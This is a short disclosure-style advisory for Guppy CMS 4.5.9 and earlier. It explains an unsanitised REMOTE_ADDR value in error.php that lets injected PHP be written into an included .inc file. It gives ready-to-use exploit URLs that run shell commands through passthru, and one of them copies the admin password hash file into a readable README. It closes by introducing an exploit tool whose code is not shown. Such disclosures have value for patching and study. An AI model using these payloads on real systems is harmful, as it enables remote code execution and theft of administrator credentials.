Guppy <= 4.5.9 Remote code execution / various arbitrary inclusion issues software: site: http://www.freeguppy.org/ description: a very popular French PHP CMS that stores data in files i) remote code/commands execution (tested and working against php 5.0.2 and php 4.3.3 with register globals off and magic quotes off): vulnerable code in error.php at line 86-98: server var $REMOTE_ADDR is not properly sanitized before to be stored in an .inc file that will be included by the main script. if register globals is off you can overwrite this var also, if magic_quotes_gpc is off you can inject arbitrary php code, poc: http://[target]/[path_to_guppy]/error.php?err=hacker&_SERVER=&_SERVER[REMOTE_ADDR]=";passthru("ls -la>README");echo" now I have an 20051128_162317_hacker.inc file with this code inside: errors code HTTP."; $date = "Date : 28/11/2005 16:23"; $dest = "Page requested : ?"; $source = "Page source : "; $browser = "Browser : "; $addr_ip = "IP address : ";passthru("ls -la>README");echo""; $domaine = "Domaine : "; $with_mail = false; ?> script has been executed and now you can go to: http://[target]/[path_to_guppy]/README to see the redirected output also try this to see master database MD5 password hash: http://[target]/[path_to_guppy]/error.php?err=hacker&_SERVER=&_SERVER[REMOTE_ADDR]=";passthru("cat ./admin/mdp.php>README");echo" this is my proof of concept exploit tool:
******** Guppy <=4.5.9 remote commands xctn **********
a script by rgod at http://rgod.altervista.org